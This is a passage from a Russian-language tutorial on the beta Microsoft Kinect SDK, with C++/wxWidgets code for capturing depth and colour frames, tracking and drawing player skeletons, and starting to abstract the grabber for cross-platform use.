> `virtual HRESULT NuiImageStreamGetNextFrame(
>
> \_In\_ HANDLE hStream,
>
> \_In\_ DWORD dwMillisecondsToWait,
>
> \_Deref\_out\_ CONST NUI\_IMAGE\_FRAME \*\*ppcImageFrame
>
> );`
В полученном экземпляре `NUI_IMAGE_FRAME` нас, на данный момент, больше всего интересует поле `NuiImageBuffer *pFrameTexture`.
Для работы непосредственно с данными буфера, необходимо вызвать метод `LockRect()`. У метода `LockRect()` четыре параметра, из которых в beta-версии API используется два.
В качестве первого параметра нужно передать 0, в качестве второго – указатель на структуру `KINECT_LOCKED_RECT`, в которую, после успешного завершения работы функции, будут записаны данные для работы с буфером. В качестве третьего параметра передаем `NULL`, в качестве четвертого – 0.
> `STDMETHODIMP LockRect(
>
> UINT Level,
>
> KINECT\_LOCKED\_RECT\* pLockedRect,
>
> CONST RECT\* pRectUsuallyNull,
>
> DWORD Flags
>
> );`
Далее в структуре `KINECT_LOCKED_RECT` нас интересует поле `pBits`, которое содержит непосредственно данные глубины. Для каждого пиксела изображения в буфере отводится 2 байта. Судя по [FAQ на официальном форуме](http://social.msdn.microsoft.com/Forums/en-US/kinectsdknuiapi/thread/4da8c75e-9aad-4dc3-bd83-d77ab4cd2f82), формат данных следующий:
• При использовании флага `NUI_INITIALIZE_FLAG_USES_DEPTH_AND_PLAYER_INDEX`, 12 младших бит отводится для значения глубины и оставшиеся 3 бита – для индекса игрока, старший бит не используется.
• При использовании флага `NUI_INITIALIZE_FLAG_USES_DEPTH`, 12 младших бит отводится для значения глубины, остальные не используются.
Для получения изображения в оттенках серого нам необходимо нормализовать значение глубины таким образом, чтобы получить значение в диапазоне от 0 до 255. Сделать это можно вот так:
> `USHORT RealDepth = (s & 0xfff8) >> 3;
>
> BYTE l = 255 - (BYTE)(256\*RealDepth/0x0fff);
>
> RGBQUAD q;
>
> q.rgbRed = q.rgbBlue = q.rgbGreen = l;
>
> return q;`
Для того, чтобы завершить работу с полученным изображением, необходимо освободить память, выделенную под буфер. Сделать это можно с помощью метода `NuiImageStreamReleaseFrame()`, который в качестве параметров принимает дескриптор потока и указатель на экземпляр `NUI_IMAGE_FRAME`.
Давайте подытожим то, что мы имеем на данный момент:
* Для того, чтобы начать захват, надо инициализировать устройство методом `NuiInitialize()`.
* Затем надо стартовать поток захвата с помощью метода `NuiImageStreamOpen()`.
* При получении нового изображения вызывается событие, дескриптор которого мы передали в `NuiImageStreamOpen()`.
* После вызова события можно получить фрейм с помощью метода `NuiImageStreamGetNextFrame()`.
* Затем выполнить захват буфера с помощью метода `NuiImageBuffer::LockRect()`.
* После этого пройтись по буферу и получить цвет каждого пиксела, нормализовав значение глубины.
* Освободить буфер с помощью метода `NuiImageStreamReleaseFrame()`.
* Для того, чтобы остановить захват изображений с устройства, надо деинициализировать его методом `NuiShutdown()`.
Теперь посмотрим, как можно применить все это на практике:
**wxKinectHelper.h**
> `class KinectHelper
>
> {
>
> ...
>
> const wxSize & GetFrameSize();
>
> BYTE \* CreateDataBuffer();
>
> void FreeDataBuffer(BYTE \* data);
>
> size\_t GetDataBufferLength();
>
>
>
> bool StartGrabbing(size\_t deviceIndex, HANDLE hDepthFrameEvent);
>
> bool ReadKinectFrame(size\_t deviceIndex, BYTE \* data);
>
>
>
> bool IsDeviceOK(size\_t deviceIndex);
>
> bool IsGrabbingStarted(size\_t deviceIndex);
>
>
>
> static RGBQUAD Nui\_ShortToQuad\_Depth( USHORT s );
>
> protected:
>
> InstanceVector m\_Instances;
>
> wxSize m\_FrameSize;
>
> ...
>
> };`
**wxKinectHelper.cpp**
> `...
>
> void ReadLockedRect(KINECT\_LOCKED\_RECT & LockedRect, int w, int h, BYTE \* data)
>
> {
>
> if( LockedRect.Pitch != 0 )
>
> {
>
> BYTE \* pBuffer = (BYTE\*) LockedRect.pBits;
>
>
>
> // draw the bits to the bitmap
>
> USHORT \* pBufferRun = (USHORT\*) pBuffer;
>
> for( int y = 0 ; y < h ; y++ )
>
> {
>
> for( int x = 0 ; x < w ; x++ )
>
> {
>
> RGBQUAD quad = KinectHelper::Nui\_ShortToQuad\_Depth( \*pBufferRun );
>
> pBufferRun++;
>
> int offset = (w \* y + x) \* 3;
>
> data[offset + 0] = quad.rgbRed;
>
> data[offset + 1] = quad.rgbGreen;
>
> data[offset + 2] = quad.rgbBlue;
>
> }
>
> }
>
> }
>
> }
>
> ...
>
> BYTE \* KinectHelper::CreateDataBuffer()
>
> {
>
> size\_t length = GetDataBufferLength();
>
> BYTE \* result = (BYTE\*)CoTaskMemAlloc(length);
>
> memset(result, 0, length);
>
> return result;
>
> }
>
>
>
> size\_t KinectHelper::GetDataBufferLength()
>
> {
>
> return m\_FrameSize.GetWidth() \* m\_FrameSize.GetHeight() \* 3;
>
> }
>
>
>
> void KinectHelper::FreeDataBuffer(BYTE \* data)
>
> {
>
> CoTaskMemFree((LPVOID)data);
>
> }
>
>
>
> void KinectHelper::Finalize()
>
> {
>
> for(InstanceVector::const\_iterator i = m\_Instances.begin();
>
> i != m\_Instances.end(); i++)
>
> {
>
> if((\*i).first && (\*i).second)
>
> {
>
> (\*i).first->NuiShutdown();
>
> MSR\_NuiDestroyInstance((\*i).first);
>
> }
>
> }
>
> }
>
>
>
> bool KinectHelper::StartGrabbing(size\_t deviceIndex, HANDLE hDepthFrameEvent)
>
> {
>
> do
>
> {
>
> InstanceInfo \* info = GetInstanceByIndex(deviceIndex);
>
> if(!info || !info->first) break;
>
> if(FAILED(info->first->NuiInitialize(
>
> NUI\_INITIALIZE\_FLAG\_USES\_DEPTH\_AND\_PLAYER\_INDEX))) break;
>
> if(FAILED(info->first->NuiImageStreamOpen(
>
> NUI\_IMAGE\_TYPE\_DEPTH\_AND\_PLAYER\_INDEX,
>
> NUI\_IMAGE\_RESOLUTION\_320x240, 0,
>
> 3,
>
> hDepthFrameEvent,
>
> &info->second))) break;
>
> }
>
> while(false);
>
> return false;
>
> }
>
>
>
> bool KinectHelper::IsDeviceOK(size\_t deviceIndex)
>
> {
>
> return GetInstanceByIndex(deviceIndex) != NULL;
>
> }
>
>
>
> bool KinectHelper::IsGrabbingStarted(size\_t deviceIndex)
>
> {
>
> InstanceInfo \* info = GetInstanceByIndex(deviceIndex);
>
> return (info != NULL && info->first != NULL && info->second != NULL);
>
> }
>
>
>
> bool KinectHelper::ReadKinectFrame(size\_t deviceIndex, BYTE \* data)
>
> {
>
> do
>
> {
>
> if(deviceIndex < 0) break;
>
> InstanceInfo \* info = GetInstanceByIndex((size\_t)deviceIndex);
>
> if(!info || !info->second) break;
>
> const NUI\_IMAGE\_FRAME \* pImageFrame;
>
> if(FAILED(NuiImageStreamGetNextFrame(
>
> info->second, 200, &pImageFrame))) break;
>
> NuiImageBuffer \* pTexture = pImageFrame->pFrameTexture;
>
> KINECT\_LOCKED\_RECT LockedRect;
>
> pTexture->LockRect( 0, &LockedRect, NULL, 0 );
>
> ReadLockedRect(LockedRect, m\_FrameSize.GetWidth(),
>
> m\_FrameSize.GetHeight(), data);
>
> NuiImageStreamReleaseFrame(info->second, pImageFrame);
>
> return true;
>
> }
>
> while(false);
>
> return false;
>
> }
>
>
>
> RGBQUAD KinectHelper::Nui\_ShortToQuad\_Depth( USHORT s )
>
> {
>
> USHORT RealDepth = (s & 0xfff8) >> 3;
>
> BYTE l = 255 - (BYTE)(256\*RealDepth/0x0fff);
>
> RGBQUAD q;
>
> q.rgbRed = q.rgbBlue = q.rgbGreen = l;
>
> return q;
>
> }`
**KinectTestMainFrame.h**
> `class KinectTestMainFrame: public wxFrame, public wxThreadHelper
>
> {
>
> ...
>
> void OnDEVICELISTBOXSelected( wxCommandEvent& event );
>
> ...
>
> void ShowDevices();
>
> void StopGrabbing();
>
> HANDLE m\_NewDepthFrameEvent;
>
> KinectHelper \* m\_KinectHelper;
>
> BYTE \* m\_pDepthBuffer;
>
> wxImage \* m\_CurrentImage;
>
> int m\_SelectedDeviceIndex;
>
> };`
**KinectTestMainFrame.cpp**
> `...
>
> BEGIN\_EVENT\_TABLE( KinectTestMainFrame, wxFrame )
>
> EVT\_LISTBOX( ID\_DEVICE\_LISTBOX, KinectTestMainFrame::OnDEVICELISTBOXSelected )
>
> END\_EVENT\_TABLE()
>
> ...
>
> void KinectTestMainFrame::Init()
>
> {
>
> m\_NewDepthFrameEvent = CreateEvent( NULL, TRUE, FALSE, NULL );
>
> m\_KinectHelper = new KinectHelper;
>
> m\_pDepthBuffer = m\_KinectHelper->CreateDataBuffer();
>
> m\_CurrentImage = new wxImage(
>
> m\_KinectHelper->GetFrameSize().GetWidth(),
>
> m\_KinectHelper->GetFrameSize().GetHeight(),
>
> m\_pDepthBuffer, true);
>
> m\_SelectedDeviceIndex = -1;
>
> m\_MainSizer = NULL;
>
> m\_DeviceListBox = NULL;
>
> m\_Canvas = NULL;
>
> }
>
> ...
>
> KinectTestMainFrame::~KinectTestMainFrame()
>
> {
>
> StopGrabbing();
>
> wxDELETE(m\_CurrentImage);
>
> m\_KinectHelper->FreeDataBuffer(m\_pDepthBuffer);
>
> wxDELETE(m\_KinectHelper);
>
> }
>
> ...
>
> wxThread::ExitCode KinectTestMainFrame::Entry()
>
> {
>
> while(!GetThread()->TestDestroy())
>
> {
>
> int mEventIndex = WaitForMultipleObjects(
>
> 1, &m\_NewDepthFrameEvent, FALSE, 100);
>
> switch(mEventIndex)
>
> {
>
> case 0:
>
> {
>
> wxCriticalSectionLocker lock(m\_CS);
>
> m\_KinectHelper->ReadKinectFrame(
>
> m\_SelectedDeviceIndex, m\_pDepthBuffer);
>
> m\_Canvas->Refresh();
>
> }
>
> break;
>
> default:
>
> break;
>
> }
>
> }
>
> return NULL;
>
> }
>
> ...
>
> void KinectTestMainFrame::OnDEVICELISTBOXSelected( wxCommandEvent& event )
>
> {
>
> do
>
> {
>
> StopGrabbing();
>
> size\_t deviceIndex =
>
> (size\_t)m\_DeviceListBox->GetClientData(event.GetInt());
>
> if(deviceIndex < 0 || deviceIndex >
>
> m\_KinectHelper->GetDeviceCount()) break;
>
> m\_SelectedDeviceIndex = deviceIndex;
>
> if(!m\_KinectHelper->IsDeviceOK(deviceIndex)) break;
>
> if(!m\_KinectHelper->IsGrabbingStarted(deviceIndex))
>
> {
>
> m\_KinectHelper->StartGrabbing(
>
> deviceIndex, m\_NewDepthFrameEvent);
>
> if(CreateThread() != wxTHREAD\_NO\_ERROR) break;
>
> m\_Canvas->SetCurrentImage(m\_CurrentImage);
>
> GetThread()->Run();
>
> }
>
> }
>
> while(false);
>
> }
>
>
>
> void KinectTestMainFrame::StopGrabbing()
>
> {
>
> if(GetThread())
>
> {
>
> if(GetThread()->IsAlive())
>
> {
>
> GetThread()->Delete();
>
> }
>
> if(m\_kind == wxTHREAD\_JOINABLE)
>
> {
>
> if(GetThread()->IsAlive())
>
> {
>
> GetThread()->Wait();
>
> }
>
> wxDELETE(m\_thread);
>
> }
>
> else
>
> {
>
> m\_thread = NULL;
>
> }
>
> }
>
> }`
При старте приложения Объект `wxKinectHelper` выделяет память для буфера глубины, в соответствии с разрешением (320x240x24). Затем выделенная область памяти передается в качестве RGB-буфера объекту `m_CurrentImage`.
При выделении устройства в списке доступных устройств запускается поток захвата изображения с устройства, а объект `m_CurrentImage` ассоциируется с канвой.
В методе `Entry()` происходит ожидание нового изображения с устройства. Когда изображение доступно, RGB-буфер заполняется новыми значениями, а затем вызывается перерисовка канвы.
В результате, после запуска приложения и нажатия на имя устройства в списке, мы получим что-то вроде этого (Рис. 6):
#### Получение цветного изображения с камеры
Для получения изображения с камеры устройства необходимо указать флаг `NUI_INITIALIZE_FLAG_USES_COLOR` при вызове метода `NuiInitialize()`, а также указать разрешение не ниже 640x480 при вызове метода `NuiImageStreamOpen()`.
В результате код будет выглядеть приблизительно так:
> `if(FAILED(info->first->NuiInitialize(
>
> NUI\_INITIALIZE\_FLAG\_USES\_DEPTH\_AND\_PLAYER\_INDEX|
>
> NUI\_INITIALIZE\_FLAG\_USES\_COLOR))) break;
>
> if(FAILED(info->first->NuiImageStreamOpen(NUI\_IMAGE\_TYPE\_COLOR,
>
> NUI\_IMAGE\_RESOLUTION\_640x480, 0,
>
> 3,
>
> hDepthFrameEvent,
>
> &info->second))) break;`
Соответственно, данные в структуре `KINECT_LOCKED_RECT` содержатся в формате RGBA (для доступа к данным вполне подходит структура `RGBQUAD`, доступная в SDK). Таким образом, код для получения RGB-буфера будет выглядеть подобным образом:
> `if( LockedRect.Pitch != 0 )
>
> {
>
> BYTE \* pBuffer = (BYTE\*) LockedRect.pBits;
>
> for( int y = 0 ; y < h ; y++ )
>
> {
>
> for( int x = 0 ; x < w ; x++ )
>
> {
>
> RGBQUAD \* quad = ((RGBQUAD\*)pBuffer) + x;
>
> int offset = (w \* y + x) \* 3;
>
> data[offset + 0] = quad->rgbRed;
>
> data[offset + 1] = quad->rgbGreen;
>
> data[offset + 2] = quad->rgbBlue;
>
> }
>
> pBuffer += LockedRect.Pitch;
>
> }
>
> }`
#### Отслеживание положения игроков (Skeleton Tracking)
Алгоритм получения и отображения сегментов «скелета» игроков отличается от получения обычных изображений.
Для того, чтобы включить возможность получения сегментов скелета, необходимо методу `NuiInitialize()` передать флаг, содержащий значение `NUI_INITIALIZE_FLAG_USES_SKELETON`, а затем вызвать метод `NuiSkeletonTrackingEnable()`, которому в качестве первого параметра передать дескриптор события, которое будет вызвано при получении новой порции данных с сегментами, а в качестве второго параметра – набор флагов (beta-версия SDK игнорирует этот параметр, поэтому можно передавать 0).
Для завершения потока получения сегментов скелета, необходимо вызвать метод `NuiSkeletonTrackingDisable()`.
В коде это будет выглядеть таким образом:
> `if(FAILED(info->first->NuiSkeletonTrackingEnable(hSkeletonFrameEvent, 0)))
>
> { /\* error \*/ };`
Получить буфер данных, содержащий информацию о положении игроков можно с помощью метода `NuiSkeletonGetNextFrame()`, который в качестве параметров принимает:
* Период ожидания буфера (в миллисекундах)
* Указатель на структуру `NUI_SKELETON_FRAME`, которая, в случае успешного завершения работы функции, будет содержать указатель на буфер данных.
После вызова метода `NuiSkeletonGetNextFrame()` мы получаем экземпляр структуры NUI\_SKELETON\_FRAME. Давайте рассмотрим ее более подробно.
> `struct \_NUI\_SKELETON\_FRAME {
>
> LARGE\_INTEGER liTimeStamp;
>
> DWORD dwFrameNumber;
>
> DWORD dwFlags;
>
> Vector4 vFloorClipPlane;
>
> Vector4 vNormalToGravity;
>
> NUI\_SKELETON\_DATA SkeletonData[NUI\_SKELETON\_COUNT];
>
> } NUI\_SKELETON\_FRAME;`
* `liTimeStamp` – дата\время получения буфера глубины, из которого были получены сегменты скелета.
* `dwFlag` – битовая маска, содержащая флаги.
* `vFloorClipPlane` –координаты пола (вычисленные внутри библиотеки), которые были использованы для отсечения всего, что ниже пола.
* `vNormalToGravity` – вектор нормали.
* `dwFrameNumber` – номер кадра.
* `SkeletonData` – массив структур `NUI_SKELETON_DATA`, каждая из которых содержит данные о секгментах скелета одного игрока.
Как видно из описания структуры `NUI_SKELETON_FRAME`, поддерживается ограниченное количество игроков (в текущей версии SDK значение `NUI_SKELETON_COUNT` равно 6).
Теперь рассмотрим структуру `NUI_SKELETON_DATA`:
> `struct \_NUI\_SKELETON\_DATA {
>
> NUI\_SKELETON\_TRACKING\_STATE eTrackingState;
>
> DWORD dwTrackingID;
>
> DWORD dwEnrollmentIndex;
>
> DWORD dwUserIndex;
>
> Vector4 Position;
>
> Vector4 SkeletonPositions[NUI\_SKELETON\_POSITION\_COUNT];
>
> NUI\_SKELETON\_POSITION\_TRACKING\_STATE
>
> eSkeletonPositionTrackingState[NUI\_SKELETON\_POSITION\_COUNT];
>
> DWORD dwQualityFlags;
>
> } NUI\_SKELETON\_DATA;`
* `eTrackingState` – значение из перечисления `NUI_SKELETON_TRACKING_STATE`. Может указывать на то, что игрок не найден, найдены только координаты игрока (без сегментов скелета) или же что найдены координаты и сегменты скелета.
* `dwEnrollmentIndex` – судя по документации (стр. 20), не используется в текущей версии.
* `dwUserIndex` – в текущей версии SDK всегда равно `XUSER_INDEX_NONE`.
* `dwTrackingID` – номер отслеживаемого игрока.
* `Position` – координаты игрока.
* `SkeletonPositions` – список координат сочленений сегментов скелета
* `eSkeletonPositionTrackingState` – список флагов, которые указывают, найдены ли сочленения сегментов скелета.
Как видно из описания структуры `NUI_SKELETON_DATA`, количество поддерживаемых сочленений сегментов ограничено числом, равным `NUI_SKELETON_POSITION_COUNT`.
Теперь рассмотрим саму реализацию получения координат игроков, с использованием описанного выше API:
**KinectHelper.h**
> `...
>
> struct KinectStreams
>
> {
>
> HANDLE hDepth;
>
> HANDLE hColor;
>
> HANDLE hSkeleton;
>
> KinectStreams() : hDepth(NULL), hColor(NULL), hSkeleton(NULL) {}
>
> };
>
> ...`
**KinectHelper.cpp**
> `void KinectHelper::Finalize()
>
> {
>
> for(InstanceVector::const\_iterator i = m\_Instances.begin();
>
> i != m\_Instances.end(); i++)
>
> {
>
> if((\*i).first)
>
> {
>
> ...
>
> if((\*i).second.hSkeleton != NULL)
>
> {
>
> (\*i).first->NuiSkeletonTrackingDisable();
>
> }
>
> MSR\_NuiDestroyInstance((\*i).first);
>
> }
>
> }
>
> }
>
>
>
> bool KinectHelper::StartGrabbing(size\_t deviceIndex,
>
> HANDLE hDepthFrameEvent,
>
> HANDLE hColorFrameEvent,
>
> HANDLE hSkeletonFrameEvent)
>
> {
>
> do
>
> {
>
> if(hDepthFrameEvent == NULL &&
>
> hColorFrameEvent == NULL &&
>
> hSkeletonFrameEvent == NULL) break;
>
> InstanceInfo \* info = GetInstanceByIndex(deviceIndex);
>
> if(!info || !info->first) break;
>
> if(FAILED(info->first->NuiInitialize(
>
> NUI\_INITIALIZE\_FLAG\_USES\_DEPTH\_AND\_PLAYER\_INDEX |
>
> NUI\_INITIALIZE\_FLAG\_USES\_COLOR |
>
> NUI\_INITIALIZE\_FLAG\_USES\_SKELETON))) break;
>
> ...
>
> if(hSkeletonFrameEvent != NULL)
>
> {
>
> if(FAILED(info->first->NuiSkeletonTrackingEnable(
>
> hSkeletonFrameEvent, 0))) break;
>
> info->second.hSkeleton = hSkeletonFrameEvent;
>
> }
>
> }
>
> while(false);
>
> return false;
>
> }
>
>
>
> void \* KinectHelper::ReadSkeletonFrame(size\_t deviceIndex)
>
> {
>
> do
>
> {
>
> if(deviceIndex < 0) break;
>
> InstanceInfo \* info = GetInstanceByIndex((size\_t)deviceIndex);
>
> if(!info || !info->second.hColor) break;
>
> NUI\_SKELETON\_FRAME \* frame = new NUI\_SKELETON\_FRAME;
>
> if(FAILED(info->first->NuiSkeletonGetNextFrame(200, frame))) break;
>
> return frame;
>
> }
>
> while(false);
>
> return NULL;
>
> }`
##### Отрисовка скелета игрока
На данный момент у нас есть информация о том, как:
* Инициализировать устройство для получения положения игроков
* Стартовать поток захвата положения игроков
* Получить буфер, содержащий координаты сегментов скелетов игроков
* Добраться до нужных данных в буфере
* Остановить поток получения положения игроков.
Теперь надо полученные данные как-то показать в приложении.
Перед тем, как что-то делать с данными из `NUI_SKELETON_FRAME`, нужно отправить их на предобработку. Предобработку выполняет метод `NuiTransformSmooth()` – он отфильтровывает координаты сегментов для того, чтобы избежать подергиваний и резких движений. В качестве параметров метод `NuiTransformSmooth()` принимает указатель на структуру `NUI_SKELETON_FRAME` и, опционально, указатель на объект `NUI_TRANSFORM_SMOOTH_PARAMETERS`, содержащий параметры предобработки.
> `HRESULT NuiTransformSmooth(
>
> NUI\_SKELETON\_FRAME \*pSkeletonFrame,
>
> CONST NUI\_TRANSFORM\_SMOOTH\_PARAMETERS \*pSmoothingParams
>
> );`
Для того, чтобы отобразить сегменты скелета, необходимо преобразовать их координаты в координаты изображения. Сделать это можно с помощью метода `NuiTransformSkeletonToDepthImageF()`, который в качестве параметров принимает:
* Координаты точки сочленения сегментов скелета в виде структуры `Vector4`.
* Указатель на переменную, в которую будет записана X-координата.
* Указатель на переменную, в которую будет записана Y-координата.
> `VOID NuiTransformSkeletonToDepthImageF(
>
> Vector4 vPoint,
>
> \_Out\_ FLOAT \*pfDepthX,
>
> \_Out\_ FLOAT \*pfDepthY
>
> );`
После получения координат всех точек сочленения, можно их отобразить на канве с помощью обычных графических примитивов.
Вот как выглядит на практике код для отображения сегментов скелета:
**SkeletonPainter.h**
> `#pragma once
>
>
>
> #include
>
>
>
> class SkeletonPainterImpl;
>
>
>
> class SkeletonPainter
>
> {
>
> public:
>
> SkeletonPainter();
>
> ~SkeletonPainter();
>
> void DrawSkeleton(wxDC & dc, void \* data);
>
> private:
>
> SkeletonPainterImpl \* m\_Impl;
>
> };`
**SkeletonPainter.cpp**
> `#include "SkeletonPainter.h"
>
> #if defined(\_\_WXMSW\_\_)
>
> #include "SkeletonPainterImplMSW.h"
>
> #endif
>
>
>
> SkeletonPainter::SkeletonPainter()
>
> {
>
> #if defined(\_\_WXMSW\_\_)
>
> m\_Impl = new SkeletonPainterImplMSW;
>
> #else
>
> m\_Impl = NULL;
>
> #endif
>
> }
>
>
>
> SkeletonPainter::~SkeletonPainter()
>
> {
>
> wxDELETE(m\_Impl);
>
> }
>
>
>
> void SkeletonPainter::DrawSkeleton(wxDC & dc, void \* data)
>
> {
>
> if(m\_Impl)
>
> {
>
> m\_Impl->DrawSkeleton(dc, data);
>
> }
>
> }`
**SkeletonPainterImpl.h**
> `#pragma once
>
>
>
> #include
>
>
>
> class SkeletonPainterImpl
>
> {
>
> public:
>
> virtual ~SkeletonPainterImpl() {}
>
> virtual void DrawSkeleton(wxDC & dc, void \* data) = 0;
>
> };`
**SkeletonPainterImplMSW.h**
> `#pragma once
>
>
>
> #include "SkeletonPainterImpl.h"
>
> #include "msr\_nuiapi.h"
>
>
>
> class SkeletonPainterImplMSW : public SkeletonPainterImpl
>
> {
>
> public:
>
> ~SkeletonPainterImplMSW();
>
> void DrawSkeleton(wxDC & dc, void \* data);
>
> private:
>
> void Nui\_DrawSkeleton(wxDC & dc, NUI\_SKELETON\_DATA \* data, size\_t index);
>
> void Nui\_DrawSkeletonSegment(wxDC & dc, wxPoint \* points, int numJoints, ... );
>
>
>
> static wxPen m\_SkeletonPen[6];
>
> };`
**SkeletonPainterImplMSW.cpp**
> `#include "SkeletonPainterImplMSW.h"
>
>
>
> wxPen SkeletonPainterImplMSW::m\_SkeletonPen[6] =
>
> {
>
> wxPen(wxColor(255, 0, 0), wxSOLID),
>
> ...
>
> };
>
>
>
> SkeletonPainterImplMSW::~SkeletonPainterImplMSW()
>
> {
>
> }
>
>
>
> void SkeletonPainterImplMSW::DrawSkeleton(wxDC & dc, void \* data)
>
> {
>
> do
>
> {
>
> NUI\_SKELETON\_FRAME \* frame =
>
> reinterpret\_cast(data);
>
> if(!frame) break;
>
> int skeletonCount(0);
>
> for( int i = 0 ; i < NUI\_SKELETON\_COUNT ; i++ )
>
> {
>
> if( frame->SkeletonData[i].eTrackingState ==
>
> NUI\_SKELETON\_TRACKED )
>
> {
>
> skeletonCount++;
>
> }
>
> }
>
> if(!skeletonCount) break;
>
> NuiTransformSmooth(frame, NULL);
>
> for(size\_t i = 0 ; i < NUI\_SKELETON\_COUNT ; i++ )
>
> {
>
> if(frame->SkeletonData[i].eTrackingState ==
>
> NUI\_SKELETON\_TRACKED)
>
> {
>
> Nui\_DrawSkeleton(dc, &frame->SkeletonData[i], i );
>
> }
>
> }
>
> }
>
> while(false);
>
> }
>
>
>
> void SkeletonPainterImplMSW::Nui\_DrawSkeleton(wxDC & dc,
>
> NUI\_SKELETON\_DATA \* data, size\_t index)
>
> {
>
> wxPoint points[NUI\_SKELETON\_POSITION\_COUNT];
>
> float fx(0), fy(0);
>
> wxSize imageSize = dc.GetSize();
>
> for (size\_t i = 0; i < NUI\_SKELETON\_POSITION\_COUNT; i++)
>
> {
>
> NuiTransformSkeletonToDepthImageF(
>
> data->SkeletonPositions[i], &fx, &fy);
>
> points[i].x = (int) ( fx \* imageSize.GetWidth() + 0.5f );
>
> points[i].y = (int) ( fy \* imageSize.GetHeight() + 0.5f );
>
> }
>
>
>
> Nui\_DrawSkeletonSegment(dc,points,4,
>
> NUI\_SKELETON\_POSITION\_HIP\_CENTER,
>
> NUI\_SKELETON\_POSITION\_SPINE,
>
> NUI\_SKELETON\_POSITION\_SHOULDER\_CENTER,
>
> NUI\_SKELETON\_POSITION\_HEAD);
>
> Nui\_DrawSkeletonSegment(dc,points,5,
>
> NUI\_SKELETON\_POSITION\_SHOULDER\_CENTER,
>
> NUI\_SKELETON\_POSITION\_SHOULDER\_LEFT,
>
> NUI\_SKELETON\_POSITION\_ELBOW\_LEFT,
>
> NUI\_SKELETON\_POSITION\_WRIST\_LEFT,
>
> NUI\_SKELETON\_POSITION\_HAND\_LEFT);
>
> Nui\_DrawSkeletonSegment(dc,points,5,
>
> NUI\_SKELETON\_POSITION\_SHOULDER\_CENTER,
>
> NUI\_SKELETON\_POSITION\_SHOULDER\_RIGHT,
>
> NUI\_SKELETON\_POSITION\_ELBOW\_RIGHT,
>
> NUI\_SKELETON\_POSITION\_WRIST\_RIGHT,
>
> NUI\_SKELETON\_POSITION\_HAND\_RIGHT);
>
> Nui\_DrawSkeletonSegment(dc,points,5,
>
> NUI\_SKELETON\_POSITION\_HIP\_CENTER,
>
> NUI\_SKELETON\_POSITION\_HIP\_LEFT,
>
> NUI\_SKELETON\_POSITION\_KNEE\_LEFT,
>
> NUI\_SKELETON\_POSITION\_ANKLE\_LEFT,
>
> NUI\_SKELETON\_POSITION\_FOOT\_LEFT);
>
> Nui\_DrawSkeletonSegment(dc,points,5,
>
> NUI\_SKELETON\_POSITION\_HIP\_CENTER,
>
> NUI\_SKELETON\_POSITION\_HIP\_RIGHT,
>
> NUI\_SKELETON\_POSITION\_KNEE\_RIGHT,
>
> NUI\_SKELETON\_POSITION\_ANKLE\_RIGHT,
>
> NUI\_SKELETON\_POSITION\_FOOT\_RIGHT);
>
> }
>
>
>
> void SkeletonPainterImplMSW::Nui\_DrawSkeletonSegment(wxDC & dc,
>
> wxPoint \* points, int numJoints, ...)
>
> {
>
> va\_list vl;
>
> va\_start(vl,numJoints);
>
> wxPoint segmentPositions[NUI\_SKELETON\_POSITION\_COUNT];
>
>
>
> for (int iJoint = 0; iJoint < numJoints; iJoint++)
>
> {
>
> NUI\_SKELETON\_POSITION\_INDEX jointIndex =
>
> va\_arg(vl,NUI\_SKELETON\_POSITION\_INDEX);
>
> segmentPositions[iJoint].x = points[jointIndex].x;
>
> segmentPositions[iJoint].y = points[jointIndex].y;
>
> }
>
>
>
> dc.SetPen(\*wxBLUE\_PEN);
>
> dc.DrawLines(numJoints, segmentPositions);
>
>
>
> va\_end(vl);
>
> }`
Использование класса `SkeletonPainter` в приложении будет выглядеть подобным образом:
**KinectTestMainFrame.h**
> `...
>
> class KinectTestMainFrame: public wxFrame, public wxThreadHelper
>
> {
>
> ...
>
> HANDLE m\_NewSkeletonFrameEvent;
>
> wxImage m\_SkeletonImage;
>
> ...
>
> };
>
> ...`
**KinectTestMainFrame.cpp**
> `...
>
> wxThread::ExitCode KinectTestMainFrame::Entry()
>
> {
>
> HANDLE eventHandles[3];
>
> eventHandles[0] = m\_NewDepthFrameEvent;
>
> eventHandles[1] = m\_NewColorFrameEvent;
>
> eventHandles[2] = m\_NewSkeletonFrameEvent;
>
> SkeletonPainter painter;
>
> while(!GetThread()->TestDestroy())
>
> {
>
> int mEventIndex = WaitForMultipleObjects(
>
> \_countof(eventHandles), eventHandles, FALSE, 100);
>
> switch(mEventIndex)
>
> {
>
> ...
>
> case 2:
>
> {
>
> void \* frame = m\_KinectHelper->ReadSkeletonFrame(
>
> m\_SelectedDeviceIndex);
>
> if(frame)
>
> {
>
> wxBitmap bmp(
>
> m\_SkeletonImage.GetWidth(),
>
> m\_SkeletonImage.GetHeight());
>
> wxMemoryDC dc(bmp);
>
> painter.DrawSkeleton(dc, frame);
>
> m\_KinectHelper->ReleaseSkeletonFrame(frame);
>
> dc.SelectObject(wxNullBitmap);
>
> m\_SkeletonImage = bmp.ConvertToImage();
>
> m\_SkeletonCanvas->Refresh();
>
> }
>
> }
>
> break;
>
> default:
>
> break;
>
> }
>
> }
>
> return NULL;
>
> }`
В результате описанных выше действий у нас должен получиться приблизительно такой результат (Рис. 7):
Избавляемся от платформо-зависимого кода в приложении
-----------------------------------------------------
Описанный выше пример хорош всем, кроме того, что в проекте для разработки интерфейса пользователя, используется кросс-платформенная библиотека, а часть GUI-кода написана с использованием API, которое специфично только для Windows.
Для работы с Kinect существует несколько сторонних библиотек, например [libfreenect](http://openkinect.org/wiki/Main_Page) или [OpenNI](http://www.openni.org/), но уже на данном этапе у нас сложилась ситуация, что код приложения завязан на использовании SDK от Microsoft.
Для того, чтобы решить это досадное недоразумение можно вынести код, связанный с получением изображений с устройства в отдельный класс граббера, а функционал класса `KinectHelper` ограничить получением списка устройств и созданием экземпляров граббера:
**KinectGrabberBase.h**
> `#pragma once
>
>
>
> #include
>
>
>
> class KinectGrabberBase
>
> {
>
> public:
>
> KinectGrabberBase(wxEvtHandler \* handler);
>
> virtual ~KinectGrabberBase();
>
>
>
> virtual bool GrabDepthFrame(unsigned char \* data) = 0;
>
> virtual bool GrabColorFrame(unsigned char \* data) = 0;
>
> virtual void \* GrabSkeletonFrame() = 0;
>
>
>
> virtual bool Start() = 0;
>
> virtual bool Stop() = 0;
>
> virtual bool IsStarted() = 0;
>
>
>
> const wxSize & GetDepthFrameSize();
>
> const wxSize & GetColorFrameSize();
>
> protected:
>
> wxSize m\_DepthFrameSize;
>
> wxSize m\_ColorFrameSize;
>
> wxEvtHandler \* m\_Handler;
>
> };
>
>
>
> BEGIN\_DECLARE\_EVENT\_TYPES()
>
>
>
